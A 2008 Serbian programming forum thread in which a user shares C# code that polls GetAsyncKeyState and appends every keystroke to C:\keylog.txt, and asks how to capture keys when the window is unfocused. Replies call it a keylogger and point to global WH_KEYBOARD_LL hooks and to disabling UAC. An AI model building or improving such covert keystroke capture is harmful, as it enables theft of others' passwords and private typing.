[ IQooLogic @ 29.10.2008. 22:35 ] @
Zamisao je da se hvataju svi tasteri sa tastature.Za tako shta sam koristio GetAsyncKeyState medjutim nije bash pouzdan u smislu da ne belezhi sve karaktere bez obzira shto je timer interval stavljen na 3ms.On hvata tastere sa zakashnjenjem, a zbog toga propushta da zabelezhi neke koji su kucani brzo.Postoji li bolji i lakshi nachin za tako shta i ako mozhe neki manji primer.Treba da hvata tastere i kada glavni form izgubi fokus

Code:

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey);

        [DllImport("User32.dll")]
        private static extern short GetAsyncKeyState(System.Int32 vKey);

        string keyBuffer = String.Empty;

        private void Form1_Load(object sender, EventArgs e)
        {
            timer1.Enable = true;
            timer1.Start();
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            timer1.Interval = 3;
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if ((GetAsyncKeyState(i) == 2) || (GetAsyncKeyState(i) == -32767))
                {
                    keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
                    textBox1.Text = keyBuffer;
                    MessageBox.Show(i.ToString());

                    if (keyBuffer != " ")
                    {
                        keyBuffer = keyBuffer.Replace("Space", "Space");
                        keyBuffer = keyBuffer.Replace("Delete", "Del");
                        keyBuffer = keyBuffer.Replace("LShiftKey", "LSHIFT");
                        keyBuffer = keyBuffer.Replace("ShiftKey", "SHIFT");
                        keyBuffer = keyBuffer.Replace("OemQuotes", "!");
                        keyBuffer = keyBuffer.Replace("Oemcomma", "?");
                        keyBuffer = keyBuffer.Replace("D8", "á");
                        keyBuffer = keyBuffer.Replace("D2", "ě");
                        keyBuffer = keyBuffer.Replace("D3", "š");
                        keyBuffer = keyBuffer.Replace("D4", "č");
                        keyBuffer = keyBuffer.Replace("D5", "ř");
                        keyBuffer = keyBuffer.Replace("D6", "ž");
                        keyBuffer = keyBuffer.Replace("D7", "ý");
                        keyBuffer = keyBuffer.Replace("D9", "í");
                        keyBuffer = keyBuffer.Replace("D0", "é");
                        keyBuffer = keyBuffer.Replace("Back", "BackSpace");
                        keyBuffer = keyBuffer.Replace("LButton", "LButton");
                        keyBuffer = keyBuffer.Replace("RButton", "RButton");
                        keyBuffer = keyBuffer.Replace("NumPad", "NumPad");
                        keyBuffer = keyBuffer.Replace("OemPeriod", ".");
                        keyBuffer = keyBuffer.Replace("OemSemicolon", "ů");
                        keyBuffer = keyBuffer.Replace("Oem4", "/");
                        keyBuffer = keyBuffer.Replace("LControlKey", "");
                        keyBuffer = keyBuffer.Replace("ControlKey", "_CTRL");
                        keyBuffer = keyBuffer.Replace("Enter", "Enter");
                        keyBuffer = keyBuffer.Replace("Shift", "SHIFT");
                        //keyBuffer = keyBuffer.ToLower();
                        //keyBuffer = keyBuffer.Replace(" ", "");
                    }

                    StreamWriter sw = new StreamWriter(@"C:\keylog.txt", true);
                    sw.Write(keyBuffer);
                    sw.Flush();
                    sw.Close();
                }
            }
        }
[ mmix @ 29.10.2008. 23:05 ] @
keylogger, a?

po meni najbolje da pogledas global hooks, imas na codeproject-u vec odradjen wrapper:
Processing Global Mouse and Keyboard Hooks in C#
[ IQooLogic @ 29.10.2008. 23:23 ] @
Hvala

Pa necje da bude bash keylogger, ali u neku ruku i jeste Elem, probacju ovo shto pishe na sajtu, mada se plashim da sam prochitao i dobr orazumeo da u Visti (a koristim samo vistu) ne rade ovakve stvari tj da su izbachene ?!

Hvala pa javljam ako neshto ispadne od ovoga

EDIT 01:

Upravo sam naleteo na > Global hooks are not supported in the .NET Framework
osim WH_KEYBOARD_LL low-level hook i WH_MOUSE_LL low-level hook
[ mmix @ 30.10.2008. 07:31 ] @
Radi i na Visti samo nece biti aktivan za aplikacije koje su zasticene od keylogger-a (neces npr moci da maznes lozinku iz IEa, sto je i razlog zasto ova tema opstaje).

WH_KEYBOARD_LL je sve sto ti treba za global hook. WH_KEYBOARD je na nivou jednog procesa
[ Shevchenko @ 30.10.2008. 16:45 ] @
Citat:
IQooLogic: Hvala :)

Pa necje da bude bash keylogger, ali u neku ruku i jeste :) Elem, probacju ovo shto pishe na sajtu, mada se plashim da sam prochitao i dobr orazumeo da u Visti (a koristim samo vistu) ne rade ovakve stvari tj da su izbachene ?!


Nisu izbacene nego te UAC (User Account Control) sprecava da recimo simuliras Click misa, i tako te stvari, ali hookovanje radi ;) I to bas koristeci DLL, sa gore pomenute adrese na Code projectu.
Ali kad iskljucis UAC onda moze sve da radi ;)
[ IQooLogic @ 30.10.2008. 21:03 ] @
Chim sam instalirao Vistu odmah sam iskljuchio UAC - nervira jako

Hvala momci na pomocji kada budem imao vremena (sutra prekosutra) bacam se da isprobam WH_KEYBOARD_LL